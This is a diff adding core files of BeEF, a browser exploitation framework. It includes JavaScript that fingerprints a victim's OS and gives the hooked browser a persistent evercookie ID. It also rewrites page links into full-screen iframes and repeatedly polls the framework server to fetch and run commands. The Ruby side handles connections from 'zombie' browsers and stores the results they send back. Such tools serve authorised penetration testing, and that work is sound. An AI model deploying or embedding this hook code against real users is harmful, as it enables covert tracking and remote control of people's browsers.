if(this.isWin311()) return 'Windows 3.11';
|
||||
if(this.isWinNT4()) return 'Windows NT 4';
|
||||
if(this.isWin95()) return 'Windows 95';
|
||||
if(this.isWin95()) return 'Windows 98';
|
||||
if(this.isWin98()) return 'Windows 98';
|
||||
if(this.isWinME()) return 'Windows Millenium';
|
||||
if(this.isWin2000()) return 'Windows 2000';
|
||||
if(this.isWinXP()) return 'Windows XP';
|
||||
if(this.isWinServer2003()) return 'Windows Server 2003';
|
||||
if(this.isWinVista()) return 'Windows Vista';
|
||||
if(this.isWin7()) return 'Windows 7';
|
||||
|
||||
//linux
|
||||
if(this.isLinux()) return 'Linux';
|
||||
if(this.isSunOS()) return 'Sun OS';
|
||||
|
||||
//iPhone
|
||||
if (this.isIphone()) return 'iPhone';
|
||||
//iPad
|
||||
if (this.isIpad()) return 'iPad';
|
||||
|
||||
//macintosh
|
||||
if(this.isMacintosh()) {
|
||||
if((typeof navigator.oscpu != 'undefined') && (navigator.oscpu.indexOf('Mac OS')!=-1))
|
||||
return navigator.oscpu;
|
||||
|
||||
return 'Macintosh';
|
||||
}
|
||||
|
||||
//others
|
||||
if(this.isQNX()) return 'QNX';
|
||||
if(this.isBeOS()) return 'BeOS';
|
||||
|
||||
return 'unknown';
|
||||
}
|
||||
};
|
||||
|
||||
beef.regCmp('beef.net.os');
|
||||
85
core/main/client/session.js
Normal file
85
core/main/client/session.js
Normal file
@@ -0,0 +1,85 @@
|
||||
/*!
|
||||
* @literal object: beef.session
|
||||
*
|
||||
* Provides basic session functions.
|
||||
*/
|
||||
beef.session = {
|
||||
|
||||
hook_session_id_length: 80,
|
||||
hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
|
||||
ec: new evercookie(),
|
||||
|
||||
/**
|
||||
* Gets a string which will be used to identify the hooked browser session
|
||||
*
|
||||
* @example: var hook_session_id = beef.session.get_hook_session_id();
|
||||
*/
|
||||
get_hook_session_id: function() {
|
||||
// check if the browser is already known to the framework
|
||||
var id = this.ec.evercookie_cookie("BEEFHOOK");
|
||||
if (typeof id == 'undefined') {
|
||||
var id = this.ec.evercookie_userdata("BEEFHOOK");
|
||||
}
|
||||
if (typeof id == 'undefined') {
|
||||
var id = this.ec.evercookie_window("BEEFHOOK");
|
||||
}
|
||||
|
||||
// if the browser is not known create a hook session id and set it
|
||||
if (typeof id == 'undefined') {
|
||||
id = this.gen_hook_session_id();
|
||||
this.set_hook_session_id(id);
|
||||
}
|
||||
|
||||
// return the hooked browser session identifier
|
||||
return id;
|
||||
},
|
||||
|
||||
/**
|
||||
* Sets a string which will be used to identify the hooked browser session
|
||||
*
|
||||
* @example: beef.session.set_hook_session_id('RANDOMSTRING');
|
||||
*/
|
||||
set_hook_session_id: function(id) {
|
||||
// persist the hook session id
|
||||
this.ec.evercookie_cookie("BEEFHOOK", id);
|
||||
this.ec.evercookie_userdata("BEEFHOOK", id);
|
||||
this.ec.evercookie_window("BEEFHOOK", id);
|
||||
},
|
||||
|
||||
/**
|
||||
* Generates a random string using the chars in hook_session_id_chars.
|
||||
*
|
||||
* @example: beef.session.gen_hook_session_id();
|
||||
*/
|
||||
gen_hook_session_id: function() {
|
||||
// init the return value
|
||||
var hook_session_id = "";
|
||||
|
||||
// construct the random string
|
||||
for(var i=0; i<this.hook_session_id_length; i++) {
|
||||
var rand_num = Math.floor(Math.random()*this.hook_session_id_chars.length);
|
||||
hook_session_id += this.hook_session_id_chars.charAt(rand_num);
|
||||
}
|
||||
|
||||
return hook_session_id;
|
||||
},
|
||||
|
||||
/**
|
||||
* Overrides each link, and creates an iframe (loading the href) instead of following the link
|
||||
*/
|
||||
persistant: function() {
|
||||
$j('a').click(function(e) {
|
||||
if ($j(this).attr('href') != '')
|
||||
{
|
||||
e.preventDefault();
|
||||
beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
|
||||
$j(document).attr('title', $j(this).html());
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.session');
|
||||
80
core/main/client/updater.js
Normal file
80
core/main/client/updater.js
Normal file
@@ -0,0 +1,80 @@
|
||||
/*!
|
||||
* @Literal object: beef.updater
|
||||
*
|
||||
* Object in charge of getting new commands from the BeEF framework and execute them.
|
||||
*/
|
||||
beef.updater = {
|
||||
|
||||
// Low timeouts combined with the way the framework sends commamd modules result
|
||||
// in instructions being sent repeatedly or complex code.
|
||||
// If you suffer from ADHD, you can decrease this setting.
|
||||
timeout: 10000,
|
||||
|
||||
// A lock.
|
||||
lock: false,
|
||||
|
||||
// An object containing all values to be registered and sent by the updater.
|
||||
objects: new Object(),
|
||||
|
||||
/*
|
||||
* Registers an object to always send when requesting new commands to the framework.
|
||||
* @param: {String} the name of the object.
|
||||
* @param: {String} the value of that object.
|
||||
*
|
||||
* @example: beef.updater.regObject('java_enabled', 'true');
|
||||
*/
|
||||
regObject: function(key, value) {
|
||||
this.objects[key] = escape(value);
|
||||
},
|
||||
|
||||
// Checks for new commands from the framework and runs them.
|
||||
check: function() {
|
||||
if(this.lock == false) {
|
||||
if (beef.logger.running) {
|
||||
beef.logger.queue();
|
||||
}
|
||||
beef.net.flush();
|
||||
if(beef.commands.length > 0) {
|
||||
this.execute_commands();
|
||||
} else {
|
||||
this.get_commands();
|
||||
}
|
||||
}
|
||||
setTimeout("beef.updater.check();", beef.updater.timeout);
|
||||
},
|
||||
|
||||
// Gets new commands from the framework.
|
||||
get_commands: function(http_response) {
|
||||
try {
|
||||
this.lock = true;
|
||||
beef.net.request('http', 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 10, 'script', function(response) {
|
||||
if (response.body != null && response.body.length > 0)
|
||||
beef.updater.execute_commands();
|
||||
});
|
||||
} catch(e) {
|
||||
this.lock = false;
|
||||
return;
|
||||
}
|
||||
this.lock = false;
|
||||
},
|
||||
|
||||
// Executes the received commands if any.
|
||||
execute_commands: function() {
|
||||
if(beef.commands.length == 0) return;
|
||||
|
||||
this.lock = true;
|
||||
|
||||
while(beef.commands.length > 0) {
|
||||
command = beef.commands.pop();
|
||||
try {
|
||||
command();
|
||||
} catch(e) {
|
||||
console.error('execute_commands - command failed to execute: ' + e.message);
|
||||
}
|
||||
}
|
||||
|
||||
this.lock = false;
|
||||
}
|
||||
}
|
||||
|
||||
beef.regCmp('beef.updater');
|
||||
252
core/main/command.rb
Normal file
252
core/main/command.rb
Normal file
@@ -0,0 +1,252 @@
|
||||
module BeEF
|
||||
module Core
|
||||
|
||||
|
||||
#
|
||||
# This module contains a list of utils functions to use
|
||||
# when writing commands.
|
||||
#
|
||||
module CommandUtils
|
||||
|
||||
# Format a string to support multiline in javascript.
|
||||
def format_multiline(text); text.gsub(/\n/, '\n'); end
|
||||
|
||||
end
|
||||
|
||||
|
||||
|
||||
#
|
||||
# The Command Module Context is being used when evaluating code in eruby.
|
||||
# In other words, we use that code to add funky functions to the
|
||||
# javascript templates of our commands.
|
||||
#
|
||||
class CommandContext < Erubis::Context
|
||||
include BeEF::Core::CommandUtils
|
||||
|
||||
def initialize(hash=nil);
|
||||
super(hash);
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# This class is the base class for all command modules in the framework.
|
||||
#
|
||||
# Two instances of this object are created during the execution of command module.
|
||||
#
|
||||
class Command
|
||||
|
||||
attr_reader :info, :datastore, :path, :default_command_url, :beefjs_components, :friendlyname
|
||||
attr_accessor :zombie, :command_id, :session_id, :target
|
||||
|
||||
include BeEF::Core::CommandUtils
|
||||
include BeEF::Core::Constants::Browsers
|
||||
include BeEF::Core::Constants::CommandModule
|
||||
|
||||
# Super class controller
|
||||
def initialize(info)
|
||||
get_extensions
|
||||
|
||||
@info = info
|
||||
@datastore = @info['Data'] || {}
|
||||
@friendlyname = @info['Name'] || nil
|
||||
@target = @info['Target'] || nil
|
||||
@output = ''
|
||||
@path = @info['File'].sub(BeEF::Core::Server.instance.root_dir, '')
|
||||
@default_command_url = '/command/'+(File.basename @path, '.rb')+'.js'
|
||||
@id = BeEF::Core::Models::CommandModule.first(:path => @info['File']).object_id
|
||||
@use_template = false
|
||||
@auto_update_zombie = false
|
||||
@results = {}
|
||||
@beefjs_components = {}
|
||||
end
|
||||
|
||||
#
|
||||
# Uses the API to include all the code from extensions that need to add
|
||||
# methods, constants etc to that class.
|
||||
#
|
||||
# See BeEF::API::Command for examples.
|
||||
#
|
||||
def get_extensions
|
||||
BeEF::API::Command.extended_in_modules.each do |mod|
|
||||
self.class.send(:include, mod)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# This function is called just before the intructions are sent to hooked browser.
|
||||
# The derived class can use this function to update params used in the command module.
|
||||
#
|
||||
def pre_send; end
|
||||
|
||||
#
|
||||
# Callback method. This function is called when the hooked browser sends results back.
|
||||
#
|
||||
def callback; end
|
||||
|
||||
#
|
||||
# If the command requires some data to be sent back, this function will process them.
|
||||
#
|
||||
def process_zombie_response(head, params); end
|
||||
|
||||
#
|
||||
# Returns true if the command needs configurations to work. False if not.
|
||||
#
|
||||
def needs_configuration?; !@datastore.nil?; end
|
||||
|
||||
#
|
||||
# Returns information about the command in a JSON format.
|
||||
#
|
||||
def to_json
|
||||
{
|
||||
'Name' => info['Name'],
|
||||
'Description' => info['Description'],
|
||||
'Category' => info['Category'],
|
||||
'Data' => info['Data']
|
||||
}.to_json
|
||||
end
|
||||
|
||||
#
|
||||
# Builds the 'datastore' attribute of the command which is used to generate javascript code.
|
||||
#
|
||||
def build_datastore(data);
|
||||
@datastore = JSON.parse(data)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the datastore for the callback function. This function is meant to be called by the CommandHandler
|
||||
#
|
||||
# build_callback_datastore(http_params, http_header)
|
||||
#
|
||||
def build_callback_datastore(http_params, http_header)
|
||||
@datastore = {'http_headers' => {}} # init the datastore
|
||||
|
||||
# get, check and add the http_params to the datastore
|
||||
http_params.keys.each { |http_params_key|
|
||||
raise WEBrick::HTTPStatus::BadRequest, "http_params_key is invalid" if not BeEF::Filters.is_valid_command_module_datastore_key?(http_params_key)
|
||||
http_params_value = Erubis::XmlHelper.escape_xml(http_params[http_params_key])
|
||||
raise WEBrick::HTTPStatus::BadRequest, "http_params_value is invalid" if not BeEF::Filters.is_valid_command_module_datastore_param?(http_params_value)
|
||||
@datastore[http_params_key] = http_params_value # add the checked key and value to the datastore
|
||||
}
|
||||
|
||||
# get, check and add the http_headers to the datastore
|
||||
http_header.keys.each { |http_header_key|
|
||||
raise WEBrick::HTTPStatus::BadRequest, "http_header_key is invalid" if not BeEF::Filters.is_valid_command_module_datastore_key?(http_header_key)
|
||||
http_header_value = Erubis::XmlHelper.escape_xml(http_header[http_header_key][0])
|
||||
raise WEBrick::HTTPStatus::BadRequest, "http_header_value is invalid" if not BeEF::Filters.is_valid_command_module_datastore_param?(http_header_value)
|
||||
@datastore['http_headers'][http_header_key] = http_header_value # add the checked key and value to the datastore
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# set the target details
|
||||
# this function is used when determining the code of the node icon
|
||||
#
|
||||
def set_target(definition)
|
||||
@target = [] if not @target
|
||||
@target.push(definition)
|
||||
end
|
||||
|
||||
#
|
||||
# Tells the framework that the command module will be using a template file.
|
||||
#
|
||||
def use_template!;
|
||||
tpl = @info['File'].sub(/module.rb$/, 'command.js')
|
||||
@template = tpl if File.exists? tpl
|
||||
|
||||
@use_template = true;
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if the command uses a template. False if not.
|
||||
#
|
||||
def use_template?; @use_template; end
|
||||
|
||||
#
|
||||
# Returns the output of the command. These are the actual instructions sent to the browser.
|
||||
#
|
||||
def output
|
||||
if use_template?
|
||||
#TODO: name exceptions correctly
|
||||
raise Exception::TypeError, "@template is nil" if @template.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "@template file does not exist" if not File.exists? @template
|
||||
|
||||
@eruby = Erubis::FastEruby.new(File.read(@template))
|
||||
|
||||
if @datastore
|
||||
@datastore['command_url'] = BeEF::Core::Server.instance.get_command_url(@default_command_url)
|
||||
@datastore['command_id'] = @command_id
|
||||
|
||||
command_context = BeEF::Core::CommandContext.new
|
||||
@datastore.each{|k,v|
|
||||
command_context[k] = v
|
||||
}
|
||||
|
||||
@output = @eruby.evaluate(command_context)
|
||||
else
|
||||
@ouput = @eruby.result()
|
||||
end
|
||||
end
|
||||
|
||||
@output
|
||||
end
|
||||
|
||||
#
|
||||
# Saves the results received from the zombie.
|
||||
#
|
||||
def save(results);
|
||||
@results = results;
|
||||
end
|
||||
|
||||
# If nothing else than the file is specified, the function will map the file to a random path
|
||||
# without any extension.
|
||||
def map_file_to_url(file, path=nil, extension=nil, count=1)
|
||||
return BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count)
|
||||
end
|
||||
|
||||
#
|
||||
# Tells the framework to load a specific module of the BeEFJS library that
|
||||
# the command will be using.
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# use 'beef.net.local'
|
||||
# use 'beef.encode.base64'
|
||||
#
|
||||
def use(component)
|
||||
return if @beefjs_components.include? component
|
||||
|
||||
component_path = '/'+component
|
||||
component_path.gsub!(/beef./, '')
|
||||
component_path.gsub!(/\./, '/')
|
||||
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
|
||||
|
||||
raise "Invalid beefjs component for command module #{@path}" if not File.exists?(component_path)
|
||||
|
||||
@beefjs_components[component] = component_path
|
||||
end
|
||||
|
||||
def oc_value(name)
|
||||
option = BeEF::Core::Models::OptionCache.first(:name => name)
|
||||
return nil if not option
|
||||
return option.value
|
||||
end
|
||||
|
||||
def apply_defaults()
|
||||
@datastore.each { |opt|
|
||||
opt["value"] = oc_value(opt["name"]) || opt["value"]
|
||||
}
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
@use_template
|
||||
@eruby
|
||||
@update_zombie
|
||||
@results
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
92
core/main/configuration.rb
Normal file
92
core/main/configuration.rb
Normal file
@@ -0,0 +1,92 @@
|
||||
module BeEF
|
||||
module Core
|
||||
#
|
||||
# Parses the user configuration file for beef.
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# configuration = BeEF::Core::Configuration.instance
|
||||
# p configuration.get('beef.http.host) # => "0.0.0.0"
|
||||
#
|
||||
class Configuration
|
||||
|
||||
include Singleton
|
||||
|
||||
#
|
||||
# Constructor
|
||||
#
|
||||
def initialize(configuration_file="#{$root_dir}/config.yaml")
|
||||
# argument type checking
|
||||
raise Exception::TypeError, '"configuration_file" needs to be a string' if not configuration_file.string?
|
||||
# test to make sure file exists
|
||||
raise Exception::TypeError, 'Configuration yaml cannot be found' if not File.exist?(configuration_file)
|
||||
#open base config
|
||||
@config = self.load(configuration_file)
|
||||
# set default value if key? does not exist
|
||||
@config.default = nil
|
||||
load_extensions_config
|
||||
load_modules_config
|
||||
end
|
||||
|
||||
#
|
||||
# Loads yaml file
|
||||
#
|
||||
def load(file)
|
||||
return nil if not File.exists?(file)
|
||||
raw = File.read(file)
|
||||
return YAML.load(raw)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the value of a selected key in the configuration file.
|
||||
#
|
||||
def get(key)
|
||||
subkeys = key.split('.')
|
||||
lastkey = subkeys.pop
|
||||
subhash = subkeys.inject(@config) do |hash, k|
|
||||
hash[k]
|
||||
end
|
||||
return (subhash != nil and subhash.has_key?(lastkey)) ? subhash[lastkey] : nil
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the give key value pair to the config instance
|
||||
#
|
||||
def set(key, value)
|
||||
subkeys = key.split('.').reverse
|
||||
return false if subkeys.length == 0
|
||||
hash = {subkeys.shift.to_s => value}
|
||||
subkeys.each{|v|
|
||||
hash = {v.to_s => hash}
|
||||
}
|
||||
@config = @config.recursive_merge(hash)
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# load extensions configurations
|
||||
#
|
||||
def load_extensions_config
|
||||
Dir.glob("#{$root_dir}/extensions/*/config.yaml") do | cf |
|
||||
y = self.load(cf)
|
||||
if y != nil
|
||||
@config = y.recursive_merge(@config)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Load module configurations
|
||||
#
|
||||
def load_modules_config
|
||||
Dir.glob("#{$root_dir}/modules/**/*/config.yaml") do | cf |
|
||||
y = self.load(cf)
|
||||
if y != nil
|
||||
@config = y.recursive_merge(@config)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
68
core/main/constants/browsers.rb
Normal file
68
core/main/constants/browsers.rb
Normal file
@@ -0,0 +1,68 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Constants
|
||||
|
||||
module Browsers
|
||||
|
||||
FF = 'FF' # Firefox
|
||||
M = 'M' # Mozila
|
||||
IE = 'IE' # Internet Explorer
|
||||
S = 'S' # Safari
|
||||
K = 'K' # Konqueror
|
||||
C = 'C' # Chrome
|
||||
O = 'O' # Opera
|
||||
ALL = 'ALL' # ALL
|
||||
UNKNOWN = 'UN' # Unknown
|
||||
|
||||
FRIENDLY_FF_NAME = 'Firefox'
|
||||
FRIENDLY_M_NAME = 'Mozila'
|
||||
FRIENDLY_IE_NAME = 'Internet Explorer'
|
||||
FRIENDLY_S_NAME = 'Safari'
|
||||
FRIENDLY_K_NAME = 'Konqueror'
|
||||
FRIENDLY_C_NAME = 'Chrome'
|
||||
FRIENDLY_O_NAME = 'Opera'
|
||||
FRIENDLY_UN_NAME = "UNKNOWN"
|
||||
|
||||
def self.friendly_name(browser_name)
|
||||
|
||||
case browser_name
|
||||
when FF; return FRIENDLY_FF_NAME
|
||||
when M; return FRIENDLY_M_NAME
|
||||
when IE; return FRIENDLY_IE_NAME
|
||||
when S; return FRIENDLY_S_NAME
|
||||
when K; return FRIENDLY_K_NAME
|
||||
when C; return FRIENDLY_C_NAME
|
||||
when O; return FRIENDLY_O_NAME
|
||||
when UNKNOWN; return FRIENDLY_UN_NAME
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def self.match_browser(browserstring)
|
||||
matches = []
|
||||
browserstring.split(" ").each do |chunk|
|
||||
case chunk
|
||||
when /Firefox/ , /FF/
|
||||
matches << FF
|
||||
when /Mozilla/
|
||||
matches << M
|
||||
when /Internet Explorer/, /IE/
|
||||
matches << IE
|
||||
when /Safari/
|
||||
matches << S
|
||||
when /Konqueror/
|
||||
matches << K
|
||||
when /Chrome/
|
||||
matches << C
|
||||
when /Opera/
|
||||
matches << O
|
||||
end
|
||||
end
|
||||
matches.uniq
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
16
core/main/constants/commandmodule.rb
Normal file
16
core/main/constants/commandmodule.rb
Normal file
@@ -0,0 +1,16 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Constants
|
||||
|
||||
module CommandModule
|
||||
|
||||
VERIFIED_NOT_WORKING = 0
|
||||
VERIFIED_WORKING = 1
|
||||
VERIFIED_USER_NOTIFY = 2
|
||||
VERIFIED_UNKNOWN = 3
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
15
core/main/constants/distributedengine.rb
Normal file
15
core/main/constants/distributedengine.rb
Normal file
@@ -0,0 +1,15 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Constants
|
||||
|
||||
# The distributed engine codes
|
||||
module DistributedEngine
|
||||
|
||||
REQUESTER = 1
|
||||
PORTSCANNER = 2
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
37
core/main/constants/os.rb
Normal file
37
core/main/constants/os.rb
Normal file
@@ -0,0 +1,37 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Constants
|
||||
|
||||
# The OS'es strings for os detection.
|
||||
module Os
|
||||
|
||||
OS_UNKNOWN_IMG = 'unknown.png'
|
||||
OS_WINDOWS_UA_STR = 'Windows'
|
||||
OS_WINDOWS_IMG = 'win.png'
|
||||
OS_LINUX_UA_STR = 'Linux'
|
||||
OS_LINUX_IMG = 'linux.png'
|
||||
OS_MAC_UA_STR = 'Mac'
|
||||
OS_MAC_IMG = 'mac.png'
|
||||
OS_IPHONE_UA_STR = 'iPhone'
|
||||
OS_IPHONE_IMG = 'iphone.png'
|
||||
|
||||
def self.match_os(name)
|
||||
case name.downcase
|
||||
when /win/
|
||||
OS_WINDOWS_UA_STR
|
||||
when /lin/
|
||||
OS_LINUX_UA_STR
|
||||
when /os x/, /osx/, /mac/
|
||||
OS_MAC_UA_STR
|
||||
when /iphone/
|
||||
OS_IPHONE_UA_STR
|
||||
else
|
||||
'ALL'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
30
core/main/crypto.rb
Normal file
30
core/main/crypto.rb
Normal file
@@ -0,0 +1,30 @@
|
||||
module BeEF
|
||||
module Core
|
||||
#
|
||||
# This module provides crypto functionality
|
||||
#
|
||||
module Crypto
|
||||
|
||||
# the minimum length of the security token
|
||||
TOKEN_MINIMUM_LENGTH = 15
|
||||
|
||||
#
|
||||
# Generate a secure random token
|
||||
#
|
||||
# @param: {Integer} the length of the secure token
|
||||
#
|
||||
def self.secure_token(len = nil)
|
||||
# get default length from config
|
||||
config = BeEF::Core::Configuration.instance
|
||||
token_length = len || config.get('beef.crypto_default_value_length').to_i
|
||||
|
||||
# type checking
|
||||
raise Exception::TypeError, "Token length is less than the minimum length enforced by the framework: #{TOKEN_MINIMUM_LENGTH}" if (token_length < TOKEN_MINIMUM_LENGTH)
|
||||
|
||||
# return random hex string
|
||||
return OpenSSL::Random.random_bytes(token_length).unpack("H*")[0]
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
23
core/main/distributed_engine/models/rules.rb
Normal file
23
core/main/distributed_engine/models/rules.rb
Normal file
@@ -0,0 +1,23 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module DistributedEngine
|
||||
module Models
|
||||
#
|
||||
# Table stores the rules for the Distributed Engine.
|
||||
#
|
||||
class Rules
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'extensions.distributed_engine.rules'
|
||||
|
||||
property :id, Serial
|
||||
property :data, Text
|
||||
property :enabled, Boolean
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
62
core/main/handlers/commands.rb
Normal file
62
core/main/handlers/commands.rb
Normal file
@@ -0,0 +1,62 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Handlers
|
||||
|
||||
class Commands
|
||||
|
||||
include BeEF::Core::Handlers::Modules::BeEFJS
|
||||
include BeEF::Core::Handlers::Modules::Command
|
||||
|
||||
attr_reader :guard
|
||||
@data = {}
|
||||
|
||||
def initialize(data, kclass)
|
||||
@guard = Mutex.new
|
||||
@kclass = BeEF::Core::Command.const_get(kclass.capitalize)
|
||||
@data = data
|
||||
setup()
|
||||
end
|
||||
|
||||
def setup()
|
||||
@http_params = @data['request'].query # used to populate datastore
|
||||
@http_header = @data['request'].header # used to populate datastore
|
||||
@http_header['referer'] ||= '' # used to populate datastore
|
||||
|
||||
# get and check command id from the request
|
||||
command_id = get_param(@data, 'cid')
|
||||
# ruby filter needs to be updated to detect fixnums not strings
|
||||
command_id = command_id.to_s()
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_id is invalid" if not BeEF::Filters.is_valid_command_id?(command_id.to_s())
|
||||
|
||||
# get and check session id from the request
|
||||
beefhook = get_param(@data, 'beefhook')
|
||||
raise WEBrick::HTTPStatus::BadRequest, "beefhook is invalid" if not BeEF::Filters.is_valid_hook_session_id?(beefhook)
|
||||
|
||||
@guard.synchronize {
|
||||
# create the command module to handle the response
|
||||
command = @kclass.new # create the commamd module
|
||||
command.build_callback_datastore(@http_params, @http_header) # build datastore from the response
|
||||
command.session_id = beefhook
|
||||
command.callback # call the command module's callback function - it will parse and save the results
|
||||
|
||||
# get/set details for datastore and log entry
|
||||
command_friendly_name = command.friendlyname
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command friendly name empty" if command_friendly_name.empty?
|
||||
command_results = get_param(@data, 'results')
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command results empty" if command_results.empty?
|
||||
# save the command module results to the datastore and create a log entry
|
||||
command_results = {'type' => command_results.class, 'data' => command_results}
|
||||
BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results)
|
||||
}
|
||||
end
|
||||
|
||||
def get_param(query, key)
|
||||
return (query.class == Hash and query.has_key?(key)) ? query[key] : nil
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
95
core/main/handlers/hookedbrowsers.rb
Normal file
95
core/main/handlers/hookedbrowsers.rb
Normal file
@@ -0,0 +1,95 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Handlers
|
||||
|
||||
#
|
||||
# This class handles connections from zombies to the framework.
|
||||
#
|
||||
class HookedBrowsers < WEBrick::HTTPServlet::AbstractServlet
|
||||
|
||||
include BeEF::Core::Handlers::Modules::BeEFJS
|
||||
include BeEF::Core::Handlers::Modules::Command
|
||||
|
||||
attr_reader :guard
|
||||
|
||||
def initialize(config)
|
||||
@guard = Mutex.new
|
||||
end
|
||||
|
||||
#
|
||||
# This method processes the http requests sent by a zombie to the framework.
|
||||
# It will update the database to add or update the current zombie and deploy
|
||||
# some command modules or plugins.
|
||||
#
|
||||
def do_GET(request, response)
|
||||
@body = ''
|
||||
@params = request.query
|
||||
@request = request
|
||||
@response = response
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
# check source ip address of browser
|
||||
permitted_hooking_subnet = config.get('beef.restrictions.permitted_hooking_subnet')
|
||||
target_network = IPAddr.new(permitted_hooking_subnet)
|
||||
if not target_network.include?(request.peeraddr[3].to_s)
|
||||
BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from out of target range browser (#{request.peeraddr[3]}) rejected.")
|
||||
@response.set_error(nil)
|
||||
return
|
||||
end
|
||||
|
||||
# get zombie if already hooked the framework
|
||||
hook_session_id = request.get_hook_session_id()
|
||||
hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => hook_session_id) if not hook_session_id.nil?
|
||||
|
||||
if not hooked_browser # is a new browser so return instructions to set up the hook
|
||||
|
||||
# generate the instructions to hook the browser
|
||||
host_name = @request.host # get the host from the HOST attribute in the HTTP header
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid host name" if not BeEF::Filters.is_valid_hostname?(host_name)
|
||||
build_beefjs!(host_name)
|
||||
|
||||
else # is a known browseer so send instructions
|
||||
|
||||
# record the last poll from the browser
|
||||
hooked_browser.lastseen = Time.new.to_i
|
||||
|
||||
hooked_browser.count!
|
||||
hooked_browser.save
|
||||
|
||||
# add all availible command module instructions to the response
|
||||
zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
|
||||
zombie_commands.each{|command| add_command_instructions(command, hooked_browser)}
|
||||
|
||||
#
|
||||
# We dynamically get the list of all browser hook handler using the API and register them
|
||||
#
|
||||
BeEF::API.fire(BeEF::API::Server::Hook, :pre_hook_send, hooked_browser, @body, @params, @request, @response)
|
||||
end
|
||||
|
||||
# set response headers and body
|
||||
response.set_no_cache
|
||||
response.header['Content-Type'] = 'text/javascript'
|
||||
response.header['Access-Control-Allow-Origin'] = '*'
|
||||
response.header['Access-Control-Allow-Methods'] = 'POST, GET'
|
||||
response.body = @body
|
||||
|
||||
end
|
||||
|
||||
alias do_POST do_GET
|
||||
|
||||
private
|
||||
|
||||
# Object representing the HTTP request
|
||||
@request
|
||||
|
||||
# Object representing the HTTP response
|
||||
@response
|
||||
|
||||
# A string containing the list of BeEF components active in the hooked browser
|
||||
@beef_js_cmps
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
100
core/main/handlers/modules/beefjs.rb
Normal file
100
core/main/handlers/modules/beefjs.rb
Normal file
@@ -0,0 +1,100 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Handlers
|
||||
module Modules
|
||||
|
||||
#
|
||||
# Purpose: avoid rewriting several times the same code.
|
||||
#
|
||||
module BeEFJS
|
||||
|
||||
#
|
||||
# Builds the default beefjs library (all default components of the library).
|
||||
#
|
||||
# @param: {Object} the hook session id
|
||||
# @param: {Boolean} if the framework is already loaded in the hooked browser
|
||||
#
|
||||
def build_beefjs!(req_host)
|
||||
|
||||
# set up values required to construct beefjs
|
||||
beefjs = '' # init the beefjs string (to be sent as the beefjs file)
|
||||
beefjs_path = "#{$root_dir}/core/main/client/" # location of sub files
|
||||
js_sub_files = %w(lib/jquery-1.5.min.js lib/evercookie.js beef.js browser.js browser/cookie.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js)
|
||||
|
||||
# construct the beefjs string from file(s)
|
||||
js_sub_files.each {|js_sub_file_name|
|
||||
js_sub_file_abs_path = beefjs_path + js_sub_file_name # construct absolute path
|
||||
beefjs << (File.read(js_sub_file_abs_path) + "\n\n") # concat each js sub file
|
||||
}
|
||||
|
||||
# create the config for the hooked browser session
|
||||
config = BeEF::Core::Configuration.instance
|
||||
hook_session_name = config.get('beef.http.hook_session_name')
|
||||
hook_session_config = BeEF::Core::Server.instance.to_h
|
||||
|
||||
# if http_host="0.0.0.0" in config ini, use the host requested by client
|
||||
if hook_session_config['beef_host'].eql? "0.0.0.0"
|
||||
hook_session_config['beef_host'] = req_host
|
||||
